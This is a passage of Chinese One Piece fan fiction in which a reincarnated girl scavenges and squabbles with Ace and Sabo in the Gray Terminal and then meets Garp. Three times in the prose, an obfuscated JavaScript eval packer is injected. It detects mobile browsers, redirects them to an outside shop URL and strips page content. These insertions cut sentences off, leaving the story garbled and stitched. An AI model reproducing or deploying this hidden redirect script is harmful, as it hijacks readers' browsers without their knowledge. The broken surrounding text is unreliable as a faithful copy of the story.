从垃圾堆里翻出了只剩脑袋的布偶、破损的毯子、熏黑的陶片等等没什么用的东西后,我找到了一个不起眼的小盒子,盒子上挂着一把只有我拇指大的锁。我对盒子里的东西很好奇,扯了扯身旁萨博的衣摆,把盒子递给他。 萨博轻轻松松地用钢管砸开锁,把盒子还给我,让我自己打开看。 我说了声“谢谢”,打开盒子——黑色丝绒上躺着一枚金戒指,顶端镶嵌着米粒大小的钻石。钻石虽小,却在阳光下闪烁出了璀璨的光芒。 萨博倒吸了一口凉气,他拿起戒指左看右看:“看起来像是真货诶,你从哪里找到的,莉莉?” 我听不懂,像模像样地点了下头。 艾斯嗤笑了一声:“这个小丫头根本听不懂。她只会笑和点头。——喂,莉莉。”他看向我,刻意放柔了自己的声音,“你是个笨蛋,对吧?” 我眨了眨眼睛,感觉到了艾斯的恶意,立刻展开反击:“艾斯,臭东西。” 艾斯的额头上跳出了一个鲜艳的“井”字,他朝我伸出脏兮兮的手,看样子是想要像之前一样掐我的脸。 我赶紧躲到萨博身后,对他吐舌头做鬼脸。 萨博哈哈大笑,护着我和艾斯周旋:“别总是欺负莉莉啦,艾斯,你可是哥哥呀。” “谁要当这个小丫头的哥哥!”艾斯更生气了。 “哥哥?”我重复了一遍新出现的单词。 萨博浑身一震,他顾不得火冒三丈的艾斯,蹲到我面前指着自己:“对,哥哥。莉莉再叫一次。” 我被萨博期待的眼神看得有点发毛,迟疑了一下才小声地开口:“哥哥?” 萨博顿时眉开眼笑,他拍了拍我的脑袋,转头对艾斯说:“呐,艾斯,我们养莉莉吧。” “?”艾斯露出一副“你有毛病吧”的表情。 “我想清楚了。”萨博把金戒指还给我,让我放好。他收敛起笑意,露出认真的表情:“莉莉还这么小,她不可能独自一人走到戈尔波山的深处。一定是她的父母或者别的什么人把她丢在了那里。如果莉莉的父母抛弃了她,那她现在就只有我了,我不会再抛弃她。” “如果是另一个原因呢?”艾斯看了满脸迷茫的我一眼,问道。 “如果是那个原因……深爱的孩子走丢了,一定会大张旗鼓地寻找吧。而我到现在为止都没有听说过相关的线索——没有爱意的家不是家,没有回去的必要。”说到最后,萨博按下了帽子,挡住了自己的表情。 艾斯张开嘴又闭上,他沉默了几秒:“……随便你。” 语言不通的我听了半天,只得出了萨博在难过的结论。我拉着他的衣角从他背后走到身前,仰头去看他的脸。 哦,没有哭啊——我松了一口气。 突然后领一紧,我被艾斯拎了起来,他用剩下的那只手捏住我的脸颊,脸上满是嫌弃:“但是别擅自把我加入你的计划,我才不要养这个除了气人什么都不会的家伙!” “萨博,萨博……”我在空中胡乱地蹬着小短腿,把手伸向萨博,示意他赶紧过来救我。 “是吃醋了吗,艾斯?”萨博眨了两下眼睛。 “哈?”艾斯愣住了。 萨博接过我抱在怀里,揉搓我脸上被艾斯扯出来的红痕。他的视线聚集在我的脸上,话却是对着艾斯说的:“因为莉莉没有叫你哥哥吧。” “???” 萨博再次指向自己,让我叫哥哥。我跟着喊了声“哥哥”,看到他重新露出笑容。然后他指着艾斯,让我也叫哥哥。我感觉有点不对劲,皱着眉想了想,又没发现到底有哪里不对劲,只好顺着萨博的意思,对艾斯说:“哥哥。” 艾斯睁大眼睛,踉跄着退后一步,露出了恍惚的表情。 “哥哥”这个词是什么意思啊?攻击力好像很厉害的样子。我赶紧对着艾斯再来了一次。 “哥哥——” 哇喔,他的脸变红了呢。 我挣扎着从萨博怀里跳下来,围着艾斯转圈圈,嘴里不停进行着“哥哥”攻击,如愿以偿地看见他整个人都冒着热气,躲开我狼狈逃走。 我嘿嘿直笑,心里得意极了。 今天本来是快乐的一天。 晚上回到山洞,萨博用绘本继续教我单词。好巧不巧,那本绘本刚好是讲家庭成员的,我知道了“哥哥”的意思。 我的快乐瞬间消失了。 “没错,我是哥哥哦,莉莉,再叫一次啦~”抱着书的萨博笑眯眯地看着我。 “……”垮下批脸。 * 我一开始还秉持着我是个成年人,必须为小孩子树立好榜样的原则表现得非常自律,早上萨博一叫我就翻身起床;他让我跟着他跑步锻炼我就咬牙坚持;吃饭也一点不挑剔,给什么吃什么……如此装了两三个月,一位成熟的大人已经临近破碎的边缘。 “莉莉,六点了,快起床。”萨博坐在床头喊我。 “困……”我掀起被子挡住脑袋,试图隔绝萨博的声音。 “今天是垃圾倾倒日,我们要提前去抢位置。” 我继续装死。 他嘻嘻笑着钻进我的被子,捏住我的鼻子不让我呼吸。 我徒劳地挣扎了两下,根本敌不过萨博的怪力,只好认输:“好啦好啦,我起床了——” 我顶着睡成鸟窝的脑袋爬出被子,打了个大大的呵欠,用小孩子特有的小奶音哼唧:“哥哥,帮我穿衣服。” 成年人的自尊算什么,能让我多睡两分钟吗?但是喊“哥哥”能。我靠在萨博的胸口,再次陷入黑甜的梦乡。 “别每次都用这一招……喂,莉莉,莉莉?——好吧。”萨博认命地替我穿上衣服,顺手把我的头发也梳了,手艺生疏地扎成两个一边高一边低的辫子。他把我抱起来放在餐椅上,往我手里塞进一把勺子:“吃饭啦,把眼睛睁开。” 我艰难地掀起眼皮,舀了一口盘子旁边的空气。无知无觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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你也是个小豆丁!别仗着身体年龄比我大几岁就对着我大放厥词,我迟早能长到两米!嗯……还是三米好了,这样更帅一点。四米好像也不错…… “你还要听野猪的事吗,艾斯?” 注意力超容易转移的小屁孩一愣,点头:“要听。” 萨博在我强烈的反对下开始讲我被野猪追得上蹿下跳,哇哇乱叫,满森林乱跑,最后野猪追我追得失去了理智,笔直撞向我,被我躲过,撞到了我身后的岩石暴毙而亡的事情。 艾斯笑得合不拢嘴,嘲讽道:“不愧是你莉莉,竟然连一头只有两米的野猪崽子都打不过。” 听听这是什么话,我没被两米长的野猪拱死已经很厉害了好吗!我的身高都没有一米呢! “不过比起前几次已经好了很多,至少敢出手了。”艾斯话锋一转,从裤兜里掏出一颗彩色的糖果,剥开了糖纸递过来。“来,奖励你吃糖。” 我“嗷呜”一口咬住糖,顺便狠狠咬了一口他的指尖。 艾斯脑袋上冒出一个大大的问号,表情逐渐变得危险起来。 “谢谢艾斯哥哥~”我赶紧露出灿烂的笑脸。 危险的表情烟消云散,艾斯的脸上浮现出一丝红晕,他侧过头,语气漂浮地小声道:“切,懒得和你计较。” 果然,成年人的尊严根本无所谓,一句“哥哥”能化解百分之九十九的危机(拇指)。 6. 倾倒日和哭鼻子 紧赶慢赶,我们总算是赶上了边镇打开大门,将整个哥亚王国的垃圾倾泻到不确定物终点站的时刻。山那么高的垃圾一车一车被运送出城门,依次倾倒在这个脏乱、恶臭、贫穷的法外之地。 有几个性急的男人没等士兵撤离就冲向了垃圾堆,头戴面罩的士兵们举起枪,扣动扳机。他们不像是在射击自己的同类,倒像是在射击惹人厌烦的老鼠,情绪稳定到让人浑身发冷。 男人的惨叫和哀嚎有效地阻止了其他人迫不及待奔向新垃圾的行动,衣衫褴褛的拾荒人们蜂群一般嗡嗡作响,谨慎地保持着与士兵之间的距离。 萨博适时捂住我的眼睛,突兀地开始教我单词,语气中有难掩的愤怒。他教我“士兵”和“枪”这两个单词,告诉我不要和他们硬刚,见到了就跑远一点。如果被他们欺负了,千万不要纠缠不要还击,回来找他和艾斯。 我觉得他应该是从我和艾斯的打打闹闹中误解了我的性格,我才不是那种头铁作大死的人。艾斯经常惹我生气、揍我,我也确实会马上报复回去没错,但这种行为是建立在“艾斯不会伤害我”这个认知上的。我不会对陌生人也这样。 认真想一想,这种行为和“撒娇”出于同一个逻辑。我才不要说出来。于是就没说话,沉默着点点头。 随着一声尖利的哨声,士兵们整齐有序地撤回城门内。高大坚固的大门缓缓合拢。 当大门彻底合拢,将门后那个干净美丽的城市和这个肮脏不堪的垃圾场隔绝后,拾荒者们欢呼着冲向了垃圾堆。 刚才被射中的几个男人已经没了声响,他们和垃圾一起安静地躺着,有人踩到了他们流出的鲜血,骂骂咧咧地甩了甩鞋子,毫无触动地走了过去。 像是这个国家一样,不确定物终点站也有着属于自己的阶级差异。越靠近大门的地方越抢手,青壮年们大多居住在这里,直到年老体衰被另一个青壮年赶出去。这里的人们成分复杂,大部分是被赶出城镇的地痞流氓,也有想要赚外快的边镇居民,甚至还有几群混得不如意的山贼和海贼。因此生存环境格外险恶,随时都会发生械斗、抢劫、谋杀等恶劣事件。 最外围的垃圾是已经被搜寻过好多遍的垃圾中的垃圾,只有无力斗争的拾荒者才会住在那里,他们每时每刻都在饿死的边缘挣扎,连小偷都不会光顾。 中间部分是外围和内层的中和,既没有那么多的资源,又没有穷到连活着都是奢望,整体的氛围比起那两个地方平和了许多。 萨博告诉我他以前最喜欢去不确定物终点站的中段,那里的大叔们会热情地邀请他参加拾荒者聚会,给他讲新奇的冒险故事。有很多讲给我听的床头故事就是从那里听来的。 捡到我之前,萨博和艾斯凭借异于常人的身体素质,已经在不确定物终点站内层打出了名声,干了不少黑吃黑的勾当。捡到我之后,考虑到我的安危,他们每天轮流陪着我在外围熟悉环境,另一个人则独身进入内层,继续之前的行动。 昨天我独自一人杀掉了野猪,算是勉强通过了他们俩的试炼,他们这才放心地把我带进内层。 艾斯用钢管支撑着身体,机敏的目光不断扫视过周围的拾荒者,像是在警戒,又像是在寻找目标。 萨博蹲下来耐心地教我怎么从别人的表情上看出他们是否从垃圾堆中搜寻出了宝贝,怎么用钢管打击敌人的弱点抢走他们的东西,怎么利用自己娇小的体型和周围的障碍物甩脱敌人的追击。 我似懂非懂地点着头,心里哀叹自己越来越刑的未来。自从穿越后,我的人生就一路滑坡,以前好歹是个光鲜亮丽的都市佳人,现在好嘛,直接变成少年犯。甚至我现在连少年都称不上,只够得上犯罪儿童这种可笑的分类。 萨博在教导我的时候一向奉行知行合一的准则。他把我扛到肩膀上,笑嘻嘻地说:“现在让艾斯给你做示范,你可要看仔细了,莉莉。” 艾斯早就等得不耐烦了,他闻言立刻将钢管扛到右肩,活动了几下手脚。他侧过头看向我,脸颊上的小雀斑像是一颗颗跳动的实质化恶意:“好好学着,小丫头。” 啧,两个名副其实的恶童。很不幸,我将是第三个。不过——比其坐在恒温的办公室日复一日地重复机械化的工作,死水一样平静无波的生活,这样好像也不错。我舔了舔嘴唇,和他们相视而笑。 * emmm,该怎么说呢。我的初次抢劫行动意料之外的失败了。 我发誓我真的有好好学习艾斯的手法——先利用自己矮小的体型卡住目标的视线盲区快速接近,用钢管击打目标的手部关节,趁着目标吃痛松手的时候一把扯走目标的财物,在高低起伏的垃圾堆上奔跑穿梭,来回绕圈,找个隐蔽的地方躲过搜索,当当当,抢劫大成功! 艾斯的行动犹如行云流水,一气呵成,简直就是一场绝赞的犯罪跑酷。我看得热血沸腾,感觉我上我也行。 然而……我成功接近了我的目标,也成功击中对方的手部关节抢到了他手上的金项链,却在他惨叫的时候停住了脚步,窘迫地道歉:“对,对不起,很痛吗?” 谁想被我关怀的那个小混混根本不领情,狰狞地扑了过来:“臭小鬼,竟然敢动本大爷的东西!” “这个白痴!”艾斯脸色铁青,他一阵风似的跑到我身边,用钢管做支撑借力跃起,一脚踢飞我的目标,紧接着压下我的脑袋,让我躲开不知从哪儿扔过来的小刀。他把我挡在身后,挥舞钢管打飞围上来的几个小混混,厉声喊:“萨博!” “我在这里!” 萨博的话音刚响起,艾斯就拎着我的后领把我扔了过去。萨博接住我,将我像是沙包一样扛在肩上拔腿就跑。 颠簸的视线中,我看到小混混们把艾斯团团围住了。 “萨博,艾斯他怎么不跟上来?”我心口一颤,懊恼溢满了整个胸膛。 萨博显然没当回事,他还有心思笑:“没关系,那些家伙不是艾斯的对手。我们去老地方等他。” 萨博带着我一口气跑到了我们的老地方,他把我放下来,活动了几下刚才一直负担着我的左肩,低下头问我:“没被伤到吧? 我撩起上衣,给他看我红红的肚子。 萨博的脸上先是泛起一层怒气,然后他想到了什么,对比了一下我肚子上那道红色痕迹和他肩膀的形状,表情变成了尴尬。他挠着金色的后脑勺傻笑:“抱歉抱歉,下次我一定换个姿势。” 我摇了摇头,咬着唇道:“我才要道歉,是我把事情搞砸了。”我朝不确定物终点站的方向远远眺望,眉毛皱成一团:“艾斯怎么还没到?萨博,他一个人真的能行吗?要不要回去找他?” 萨博背靠着大树盘腿坐下,他饶有兴致地看着我焦躁地来回踱步:“莉莉很担心艾斯?” “你这不是废话嘛!” 他按着礼帽,肩膀耸动。我仔细一听,他居然在偷笑。 你居然还笑!我又是生气又是担心又是后悔,终于泪腺大崩溃,“呜哇”一声哭了。 艾斯带着“战利品”过来的时候,萨博正围着我团团转,满头大汗地道歉。 我在朦胧的泪光中瞥见艾斯朝我们走来,连滚带爬地跑过去抱住他,眼泪瀑布一样朝两边喷涌:“呜呜呜,艾斯,我还以为你死掉了……” “?”艾斯眉头抽搐,他闭着眼睛忍耐了一秒,随后恶狠狠地挥动拳头砸到我脑袋上,“你就不能想我点好吗!” “呜哇好痛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222160|151217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !艾斯你这个臭东西!”我顺着艾斯的腰一扭一扭地往上爬,搂着他的脖子哭得更凶了。 “莉莉,别哭了,噗嗤,对不起……总之先别哭,艾斯不是好好回来了嘛。” 随后大哭不止的我和没憋住笑的萨博都被艾斯揍了一顿。 我和萨博头顶着两个热气腾腾的肿包,肩并肩跪坐在一起,低眉顺眼地给艾斯解释刚才的事情。 “因为艾斯为了保护我被混混们围住了,我担心,担心你打不过……”我抽噎着,泪水鼻涕糊了一脸。“萨博还不安慰我,一直笑话我担心你这件事情……呜哇哇……” 萨博插进来反驳:“我哪有笑话你,我只是觉得好笑。” “你看,他还撒谎。萨博也是个坏东西,呜呜……今天还骗我吃辣椒酱,昨天也是,我怎么叫救命都不来帮我……哇哇哇……”我越想越气,越想越委屈,眼泪再一次决堤。 萨博头疼地按住额角:“你这是什么新仇旧恨啊。” “还有艾斯也是!明明都把我扔出来了,萨博也接住我了,明明能跟上我们一起逃跑,却拖拖拉拉地不肯走,非要让我担心到哭出来!艾斯是个大笨蛋!”我抹着眼泪,哭得上气不接下气。 “我为什么要跟着你们逃走,不过是几个小混混。——再说了,谁要你这种连抢劫都做不好的小丫头来操心啊!”艾斯一边凶巴巴地吼我,一边把我的衣服扯起来擦我的脸,动作粗鲁又急躁,把我的脸擦得生疼。“别哭了!脏死了,鼻涕眼泪到处都是!” “啊啊啊,你还吼我!”我尖叫着哭得更大声了。 “……”艾斯木着脸转向萨博,“喂,萨博,她哭得这么厉害,你也有一半责任吧。快点想想办法让她别哭了,听得我心烦,拳头发痒想揍人。” “你刚才不是已经揍过我们了吗。”萨博小小声嘀咕了一句,接着摊开手撇清自己的责任。“我刚才已经快要把莉莉哄好了,是你重新把她气哭了。” “……”艾斯盯着我看了半天,脸上的神色一会儿生气一会儿纠结,变来变去。过了好一会儿,他把左手伸到我嘴边,不自然地放柔了自己的声音:“别哭了,给你咬。” 我的哭声一顿,哽咽道:“谁,谁要做这种事啊,你胳膊上都是伤……” “哈,这算什么……”本来高亢的声音突兀地被声音的主人压低,艾斯“啧”了一声,“那就别发脾气了,赶紧帮我包扎。你的眼泪都流到伤口上了,很痛。” “哦——”我努力忍住眼泪,拿出藏在树洞里的医药箱,从其中找出酒精和绷带,先是给自己的手消了一遍毒,然后开始帮艾斯处理身上的伤。他的伤确实不严重,都是些擦伤。萨博说得对,小混混们对他产生不了什么威胁。 “你能不能别流眼泪了,这样能看得清楚吗?”艾斯抬起被我缠满绷带的手擦掉我脸上的眼泪,话音里透出压抑的怒气。 我含着盈满眼眶的泪水瞪他:“不要乱摸,接触到脏东西会增加感染的几率。” “你也知道你的脸很脏啊,那就不要哭了,把脸擦干净!丑死了!”他咬牙。 “烦死了,你就不能闭上嘴吗!我还在想怎么和你道歉呢!别罗里吧嗦地讲个不停,打断我的思路!” 在旁边看了好久的萨博:“噗嗤。” 我和艾斯一齐转头看向喷笑的萨博,对他进行死亡凝视。 “抱歉抱歉,你们继续。”萨博举起胳膊,做了个投降的手势。他促狭地眨了眨眼睛:“感情真好呢,莉莉和艾斯。” “谁和这个家伙感情好啊!” “谁和这个家伙感情好啊!” 我看向艾斯,他也正好看向我。 “哼。”我用力地转开头。 7. 冷战和卡普 “对不起,我不该在抢劫的时候同情目标,连累你们为我善后。”我擦干眼泪,用哭哑的嗓子小声说话。“现在轮到你对我道歉了,艾斯。” “哈,关我什么……” 艾斯皱着眉刚要反驳,萨博就冲过来捂住了他的嘴巴,对他疯狂使眼色,示意他注意我红肿得像个桃子的眼睛:“你就让让她吧。” 艾斯恼火地把萨博从自己背后推开:“我知道了——会哭了不起啊。”后面那句话只敢用气音抱怨,没敢说出来让我听到。他清了下嗓子,挺直腰板,绷着脸开口:“莉莉,对不起。” 我煞有其事地点点头:“嗯,我原谅你了。下次不可以让我这么担心,要逃跑就一起逃跑,知道吗?” “……” “快点拉钩,说你知道了。”我严肃地伸出小指头。 “……”艾斯抿起了嘴唇,他无视萨博焦急的比划,直截了当地开口,“做不到。” “为,为什么?”我愣住,无措地收回手指。 他避开我的眼睛,低头注视自己的脚尖,好像突然对脚下的草地产生了莫大的兴趣。“如果我逃走了,没有拦住敌人,你被抓住了怎么办?到时候还不是要大闹一场去救你,不如一开始就从根源上解决问题。” “那如果遇到无法打败的人呢,你也不会逃跑吗?” “嗯。” “就算会死掉?” “就算会死……”艾斯猛地抬头,一团幽暗的火焰在他的眼中燃烧着,“才怪!我是不会输的!” 但是艾斯,人是不可能永远获得胜利的。这次轮到我沉默了。我心中升起了一个模糊的预感,我觉得……艾斯可能会在未来某一天……真的死掉。 深吸了一口气,我一步步走向艾斯,表情再认真不过:“好,既然这样,我也不会逃跑。你听好了,艾斯,如果你不逃,我也不会逃!我自己的命运由我自己承担!在你改变那个想法之前,我就算死掉都不会向你求救!” 艾斯看向我,我在他眼中看到了自己小小的影子,而那股幽暗的火焰正在我的影子上烧灼。他眉心紧锁,语气恶劣:“你用自己的性命威胁我?莉莉,你脑子有……” “够了,艾斯!——莉莉!”萨博站到我和艾斯之间,把我们往两边推开。“不要说下去了!” 我第一次见到萨博生气的样子。 确实没有必要说下去了。我又不是第一天认识艾斯这个犟种,区区几句话根本无法改变他的想法;我也不会因为他骂我几句就动摇。今天已经过得够刺激了,我不想再浪费精力和艾斯吵架。 艾斯的想法大概也和我差不多,他愤愤地抹了把脸,从地上捡起刚才被他丢下的“战利品”,闷声开口:“我去把这些财宝放好。” 萨博注视着艾斯背身离开的身影,没有说话。过了一会儿,他伸出手按住我的脑袋,长叹一口气:“真是的,没一个省心的家伙。” 我不爽地反驳:“我肯定比艾斯省心。” 说起财宝,我想着萨博今天一整天都在教我,没有时间去获取他们俩口中的“海贼资金”,于是重新跑回藏东西的树洞那里,把我这几个月的收获拿出来——这些都是我在不确定物终点站外围收集到的宝贝。 我把那个快要装满的小小宝箱递给萨博:“给你,萨博。拿去当你今天的海贼资金吧。” 萨博感动地打开小小宝箱,欣慰地说:“你有这份心就很好了,莉莉。你的东西留着……哇!”他被箱子里珠宝晃花了眼睛。 “你背着我去偷珠宝店了?”萨博震惊地问。 “我干嘛要做那么危险的事,从垃圾堆里随便扒拉出来的。” “从外围的,垃圾堆里?”萨博咽了一下口水,仿佛受到了巨大的震撼。 我被他的样子搞得有点紧张,结巴道:“对,对啊。有,有什么问题吗?” “没问题,没问题。”萨博摇头,乐呵呵地抱起我转了个圈,“莉莉真厉害!” 他带着我爬到藏宝用的大树上,非常刻意地在艾斯面前展示我送给他的小小宝箱,炫耀道:“这是莉莉给我的哦~” 艾斯最开始没有认真看箱子里的东西,他翻了个白眼,语气鄙夷地说:“别把什么破烂都放进海贼储备,我们可不是在玩……过,家家……”最后几个字他说得很艰难,因为他看到了满箱子的珠宝。一个大大的问号从艾斯脑袋上冒出来,他震惊地看向我:“你背着我们去偷珠宝店了?” “不是,你们也太不关心我了吧。我找到这些东西的时候你们也在场!” 我们不会在同一块地方“寻宝”,也不会离得太远,用萨博的话来讲,是一个他和艾斯能瞬间扛起我跑路的距离。但凡他们对我每天的收获有那么一丁点好奇,随便看上一两眼,也不至于现在表现得这么吃惊。 想到这里,我双手环胸,有点生气地问:“其实你们根本没指望过我能找到宝贝,只是把我丢进垃圾堆里打发时间,免得我妨碍你们,对吧?” 他们俩不约而同地移开视线,不敢和我对视。 生气! * 回家的时候突然下起了暴雨。在萨博的邀请下,艾斯跟着我和萨博回到了我们住的山洞。 萨博望着山洞外如同瀑布般的雨幕,把我从背上放下来,感叹道:“好大的雨。” 我将萨博的大衣拧成一团,挤出里面的雨水。我早就和他说这么大的雨,大衣根本遮不住什么。他非得让我披在身上。看吧,根本没有用,我现在浑身上下都是湿淋淋的。 一大片水珠溅到了我的脸上,我转头一看,是艾斯在甩脑袋。 我还在生他的气,恶声道:“你是狗吗?” 淋湿的黑发比平时更卷了一些,丝丝缕缕地贴在艾斯的脸颊上。他斜着眼睛看过来,反唇相讥:“那你是什么,狗的妹妹?” 骂人的时候你倒是知道自己是我哥哥了?!我一时语塞,气鼓鼓地瞪他。 “好了好了,你们今天都吵几次了。”萨博再一次隔开我和艾斯,头疼地抱怨。他把我往屏风后面推:“你赶紧去换衣服。艾斯,过来帮我烧水。” 萨博姑且还有那么一点男女意识,给我准备了单独的木桶用来泡澡。但也仅限于此了。 他根本没有把男孩用的泡澡桶和女孩用的泡澡桶隔开,而是并排放在一起。我顶着额头上热气腾腾的毛巾,麻木地看着这两个家伙把衣服扔到空中,光着屁股打闹了好几分钟,然后宛如炸弹般跳进泡澡桶,溅了满地热水。 也对,毕竟他们的XX也就比水果萝卜大了那么一点,不能指望他们太多。 “看我的水波攻击,嘿!”艾斯把水泼到了我脸上。 我瞬间失去理智,抄起水瓢反击:“你完蛋了,狗东西!” * 一场酣畅淋漓的水仗后,本就不大的山洞内部溅满了水痕。我们三个忍着困意收拾了半天,勉强弄出一个睡觉的角落。 有了上一次噩梦般的同床体验,我打定主意睡觉的时候要离艾斯远远的。我把萨博推到床中央,躺在他的左边,指挥艾斯躺他的右边。 “你确定不睡中间吗,莉莉?小心半夜掉下床。”萨博给我盖上被子,不太放心地询问。 “那也比半夜被艾斯打一顿强。”我哼哼。 艾斯没反驳,估计正心虚着。 萨博看看我,又看看艾斯,有心想要弄明白我们之间发生过什么事,又实在困得快要睁不开眼睛。他在我身边躺下,打了个呵欠:“算了,有什么事明天再说吧,困死了。” “晚安,莉莉,艾斯。” “晚安,萨博,臭东西艾斯。” “晚安,萨博,”黑暗中响起某人咬牙切齿的声音,“还有心眼比针尖还要小的白痴小丫头。” 半夜的时候,我掉下了床。 我意识模糊地望着山洞顶部的石壁,过了好半天才反应过来。 顺手拍死一只飞到我面前的蚊子,我满怀怨念地从地上爬起来,发现床上的形势已经和我们睡着前完全不同了。艾斯睡在床中间,四仰八叉地霸占了所有地方。我掉在了床的左边;萨博则掉在了床尾,他鼻子里冒着泡泡,睡得老香了。 恼人的嗡嗡声时不时响起,我转头一看,果然,洞口的驱蚊草已经燃尽了。我从柜子里拿出仅剩的驱蚊草,放到炉子里点燃。 爬回床上,我先试探性地碰了碰艾斯的手臂,见他没什么反应,这才放下警惕心,把他往床的右侧推,空出我和萨博的位置。力气不知不觉间变大了很多,我很轻松地把萨博拖回床上,推到艾斯旁边,又找出被他们踢飞的被子,轻轻盖在他们的肚子上。 我猜测大概是男孩子血气比较充足的原因,他们的脸都睡得红扑扑的,额头蒙着一层薄汗,脸庞那侧的发丝被汗水濡湿。 萨博翻了个身,胳膊伸过来把我按进自己怀里。他用下巴磨蹭着我的头顶,舒服地呢喃:“好凉快……” “……”但是你好热!不要贴过来! 我费了半天劲才从萨博怀里钻出来,气哼哼地把他推到艾斯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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跳下石壁的时候,我一脚踩空,险些从十多米的高度摔下去。艾斯及时拉住了我,他拎着我的后领几个起落跳到下面的平地,对我说了今天的第一句话:“你是白痴吗,走了这么多遍的路都能踩错地方!” 我自知理亏,没和他犟嘴。 他见我不答话,似乎更不爽了,放下我闷头往前走。 我刚才扭到了脚,一走路就痛,但是又不想和他讲,于是就一瘸一拐地跟在他后面。 艾斯从来都不是个细心的人,他愣是没发现我越走越慢,也没有回过一次头,逐渐走出了我的视线范围。 我干脆找了个阴凉的地方坐下休息,等他回头找我。要是他真的不管我也无所谓,反正我的伤一向好得很快,这种程度的扭伤休息半个小时左右就能恢复。我们现在走的路线是最安全的一条,就算是我也能独自一人安全地穿过戈尔波山。 如果不遇到无法对付的野兽的话…… 我捏紧了系着粉红色蝴蝶结的钢管,不安地注视着晃动的灌木丛。 灌木丛分开,走出来一个穿着夏威夷风格衬衫的巨人。 他长得特别高大,我把脖子都快要仰断了也没能看到他的脸。 直到他察觉了我的存在,“咦”了一声弯下腰低头看向我,我才看清楚了他的样子——“巨人”头发花白,左眼环绕了半圈狰狞的伤疤。他的目光不像人类该有的模样,而是像一只处于生物链顶端的掠食者,穿越过汹涌的海洋和繁茂的森林咆哮袭来,直直刺入灵魂深处,引起阵阵惊惶的战栗。 我在被他看到的瞬间失去了对肢体的掌控,动弹不得。 他盯着我眨了眨眼睛,眸中锐利的神色被与之截然不同的散漫取代。他把我拎起来晃了晃:“哦,是个小不点,迷路了吗?” 我咽了咽口水,紧张地回答:“我,我要去达旦家。” “达旦?你认识那伙山贼啊。你叫什么名字?”他把我放到他宽阔的肩膀上,从短裤口袋里掏了个我不认识的果子给我。 “我叫莉莉。”我感受到他的善意,僵硬的肢体放松了些许。接过他递给我的果子啃了一口,我后知后觉地反应过来:“达旦他们是山贼?!” “啊,你不知道吗?”他抬了下眼皮,“那当老夫没说过好了。” 怎么可能当你没说过!在心里大声吐槽的同时,我怯怯地点了点头。 “哈哈哈,真是个乖巧的好孩子!”巨人发出豪迈的笑声。“老夫是达旦一家的朋友——卡普,正好也要去达旦家,我们一起走吧。” 8. 卡普和艾斯 卡普的性格完全不像他给我的第一印象,是个大大咧咧的热情老头。他一路上跟我讲了很多有趣的海上岛屿,例如住着人鱼和鱼人的深海鱼人岛、一年四季都盛开着鲜花的春之城、水路四通八达的七水之都…… 我听得津津有味,双眼发光。这些东西都是我在原来世界见所未见、闻所未闻的。 “哦,已经到了。”卡普砸吧了两下嘴,显然也有些意犹未尽。 原来在不知不觉间,我们已经来到了达旦家。 卡普“砰砰砰”地敲门,很快便有人咒骂着走到门前,气势汹汹地拉开门。 “谁啊,知不知道你这个混蛋在敲谁的门,想死吗!——卡,卡普先生!”开门的达旦眼睛都快要瞪出来了。她身后的小弟们也吓得不轻,跟着达旦一起喊“卡普先生”。 “好久不见,达旦。”卡普平淡地打了个招呼,把我从他肩膀上拎下来。“路上捡到了这个小丫头,是你的女儿吗?” “哈?”达旦的目光从卡普的脸往下移动,对上了我的眼睛。她脸上畏惧和忐忑的神色变为了疑惑,问:“莉莉?你怎么和这个老家伙,咳,卡普先生在一起?” “我和艾斯走失了,然后遇见了卡普爷爷。”我向达旦伸出手,示意她抱我下来。 “她是住在山那边不确定物终点站的小孩,是艾斯的朋友。”达旦从卡普手上接过我,把我放到地面。 双脚落到地面,我发现触感有点不对劲。低头一看,左脚的鞋子不见了。一定是路上听故事听得太入迷,不小心晃掉了…… “你和艾斯是朋友?”卡普蹲下来,高大的身体仿佛大山一般倾向我。 我站在他巨大的阴影里,点了点头。 他仰起头大笑,胸膛振动得像起伏的海浪:“这小子不赖嘛,哈哈。” 我听不懂这句没头没脑的话,抬头疑惑地去看达旦。 达旦额头青筋直跳,她举起拳头骂道:“喂,你对这么小的孩子说什么呢,不正经的臭老头!” “算了算了,老大。” “卡普先生一直都是这个样子的。” “对对对,不要冲动啊,老大。” 她身后的小弟一个接一个跳到她身上,阻止她对卡普出手。 我看惯了达旦一家的打闹,直接忽略他们的声音,好奇地去问卡普:“你认识艾斯吗,卡普爷爷?” “老夫是他的爷爷。” 我点点头:“原来达旦是你的女儿呀。” “呃……”卡普一副噎住的表情。 看来不是。我偏过头想了想,迟疑道:“那达旦是你的儿媳吗?” 卡普仿佛看到了什么不堪入目的画面,他痛苦地“嘶”了一声:“不是!老夫和达旦没有亲属关系,只是朋友。” “达旦不是艾斯的妈妈吗?”我更疑惑了。这里难道不是艾斯的家吗? “不是!!!”达旦一家齐声朝我大喊。 我赶紧捂住耳朵,感觉耳膜都快被他们的声音吼破了。不是就不是嘛,喊那么大声干嘛。 “算是养母吧。”卡普掏了掏耳朵,正色道。 “都说了不是!你不会想把艾斯那个家伙彻底扔给我吧?!”达旦露出了警惕的神色。 卡普完全没把达旦一家的话听进去,他自顾自地站起身,将双手插在裤兜里往四周打量,问道:“艾斯呢,怎么没看到他?” 